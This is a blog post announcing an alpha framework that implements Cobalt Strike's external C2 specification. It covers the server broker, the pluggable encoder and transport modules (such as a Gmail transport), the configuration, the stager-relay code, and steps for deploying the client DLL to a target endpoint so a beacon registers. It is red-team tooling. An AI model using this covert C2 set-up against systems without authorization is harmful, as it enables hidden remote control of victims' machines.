Alpha release of External C2 framework
11 Jan 2018 - Jonathan Echavarria
Today, I am officially releasing the alpha version of my implementation for Cobalt Strike’s external c2 spec. Currently, it is lacking the builder routine and a few additional features that will be implemented at a later time, but what is available will be a provides a good idea of where this project will go, and hopefully enhance your experience.
This post will discuss how to use it, and provide insight on how to build your own transport
and encoder
modules to add your desired functionality.
You can access the framework here: https://github.com/Und3rf10w/external_c2_framework
Personally, I give nothing but praise to Cobalt Strike’s design. It’s a great tool, designed to be very modular and modifiable, and compared to other offerings on the market, very reasonably priced (e.g. not $50k). With a well-featured base product, it also offers a scripting language, Aggressor, which is essentially Rafael Mudge’s Java scripting language, Sleep. I’ve always said that if you’re willing to put in the work to create Aggressor scripts and other minor modifications to fit your needs, you can easily enhance the value of Cobalt Strike to that of tools that cost more than 15 times what you paid for it.
The only area I thought it was lacking was that the data channels for the beacon payload were somewhat limited, which is a major feature of other offerings in the space. Imagine my surprise, and excitement, when I learned about the external c2 specification!
To date, there have been a few different releases of implementations/discussions around the spec, but they are in a language that I’m not familiar with (¯\(ツ)/¯), or do not have the features that I desire.
Keeping the design philosophy of Cobalt Strike in mind, I decided to construct a modular implementation of the spec that would be easy and straight forward to create new communication channels for.
The framework consists of 3 main parts:
The server is the application that brokers communication between the client
and the c2 server
, referred to as third-party Client Controller
within the spec. The server logic is primarily static, but supports verbose and debug output to assist with development:
encoder
moduletransport
moduletransport
encoder
moduletransport
transport
encoder
moduleThe determination of which encoder
and transport
module the server imports is determined from the values stored in config.py.
No imports of unused transport
or encoder
modules are performed.
Let’s look at how the server works:
Main part of the server is at the root of the server
folder and upon building, is aptly named server.py
Looking at the main()
function, we can see the server first parses arguments (at this time just verbose
and debug
flags), parses a config file, config.py
, imports the specified transport
and encoder
modules, and then begins the main logic of communicating to the c2 server and client.
Distributed with the server in a configuration file, config.py
that allows us to specify the connection to the c2 server, options passed for the stager, idle time for polling of the transport and c2, which encoder
and transport
to use, and output options (which can be specified with flags as well).
# Address of External c2 server
EXTERNAL_C2_ADDR = "127.0.0.1"
# Port of external c2 server
EXTERNAL_C2_PORT = "2222"
# The name of the pipe that the beacon should use
C2_PIPE_NAME = "foobar"
# A time in milliseconds that indicates how long the External C2 server should block when no new tasks are available
C2_BLOCK_TIME = 100
# Desired Architecture of the Beacon
C2_ARCH = "x86"
# How long to wait (in seconds) before polling the server for new tasks/responses
IDLE_TIME = 5
ENCODER_MODULE = "encoder_b64url"
TRANSPORT_MODULE = "transport_gmail"
# Anything taken in from argparse that you want to make available goes here:
verbose = False
debug = False
The configureStage
module defines the logic for loading the beacon stager on the client host. Currently, it is configured to immediately retrieve the stager from the c2 server, transmit it to the client, and await for a response from the client. If you’d like to modify this order of operations, you can change the logic of the configureStage.loadStager()
function.
For example, perhaps you’d like to receive some sort of confirmation that the client is ready before requesting a stager from the c2 server:
Instead of the default logic:
configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME)
stager_payload = requestStager(sock)
commonUtils.sendData(stager_payload)
metadata = commonUtils.retrieveData()
commonUtils.sendFrameToC2(sock, metadata)
return 0
You may want something like this:
configureOptions(sock, config.C2_ARCH, config.C2_PIPE_NAME, config.C2_BLOCK_TIME)
# Receive the ready notification from the client
clientReady = commonUtils.retrieveData()
# Request the stager now that the client is ready
stager_payload = requestStager(sock)
commonUtils.sendData(stager_payload)
metadata = commonUtils.retrieveData()
commonUtils.sendFrameToC2(sock, metadata)
return 0
The establishedSession
module defines the logic for how the server communicates to a client that the client once it has injected the beacon payload. There isn’t much need to make modifications to this logic, as it primarily exists to increase readability.
The utils
module holds the commonUtils.py
submodule, and the various transport
and encoder
modules available.
The commonUtils
sub-module provides common functions that can be utilized in other areas.
The encoders
and transports
folders hold the various available transports and encoders available.
Encoders use the following name conventions:
encoder_$description
.py
The two functions that need to be defined in this module are encode()
and decode()
. Essentially inverses of each other they define how data transmitted and received is modified.
Both functions should return the data as a string.
Any imports required to make modifications to the data may be done within this file.
Transports use the following name conventions:
transport_#description
.py
If any configuration options need to be specified they may be hardcoded at the top of the file.
The three functions that need to be defined in this module are prepTransport()
, sendData()
, and retrieveData()
.
prepTransport()
defines any logic that the server/client need to perform in order to send and receive data via the transport. This could be anything from opening a socket, to logging into an application, etc. This should return 0
upon successful execution.
sendData()
defines how data is sent through the transport mechanism, and should expect to receive already encoded data. It does not need to return anything. The builder will add a call to encoder.encode(data)
within this function for the client.
retrieveData()
defines how data is received through the transport mechanism, and should return the raw data recived. The builder will add a call to encoder.decode(data)
within this function for the client. This function is called recvData()
in the client.
Any imports required to transport the data may be done within this file.
The client is essentially the payload that runs on the endpoint, referred to as third-party client
within the spec. The logic of the client is primarily static:
transport
transport
transport
for new taskstransport
Configurations needed for the transport and encoding mechanisms are statically copied into the client. Function logic for transporting and encoding mechanisms are also statically copied into from their respective modules.
In contrast to the server, the client is distributed as one file (not including the compiled dll), which all imports and functionality performed are for the most part inherited from server logic.
Take a look at the follow tables, which detail share functionality between the client and server:
Transport Function | Client Function | Description |
---|---|---|
prepTransport | prepTransport | Performs any preconfigurations required to utilize the transport mechanism |
sendData | sendData | Defines how data is sent through the transport mechanism |
retrieveData | recvData | Defines how data is received through the transport mechanism |
Encoder Function | Client Function | Description |
---|---|---|
encode | encode | Defines modifications done to raw data to prepare it for transport |
decode | decode | Defines modifications done to raw data received from the transport to be relayed to its destination |
If you want to modify the way the client loads the beacon stager, you can modify the logic of the start_beacon()
function. Just ensure it returns a handle to the beacon’s named pipe.
First, determine which transport and encoding module you’d like to use. We’ll use transport_gmail
and encoder_b64url
for the following example.
Next, modify server/config.py
to suit your needs, ensuring the ENCODER_MODULE
and TRANSPORT_MODULE
are properly configured and pointed to your desired modules:
EXTERNAL_C2_ADDR = "127.0.0.1"
EXTERNAL_C2_PORT = "2222"
C2_PIPE_NAME = "foobar"
C2_BLOCK_TIME = 100
C2_ARCH = "x86"
IDLE_TIME = 5
ENCODER_MODULE = "encoder_b64url"
TRANSPORT_MODULE = "transport_gmail"
verbose = False
debug = False
Next, modify the configuration section for your selected transport
and encoder
module.
Ensure that client/mechanism/$mechanism_client.py
’s configuration section matches with any configurations you have defined thus far.
On the machine running the server, execute:
python server.py
For more verbose output, you may run:
python server.py -v
For more verbose output and additional output that is useful for debugging, you may run:
python server.py -d
Execute the included client dll compilation script:
./compile_dll.sh
Next, distribute the client and dll the targeted endpoint, and execute it.
If everything worked, a new beacon will be registered within the Cobalt Strike console that you may interact with.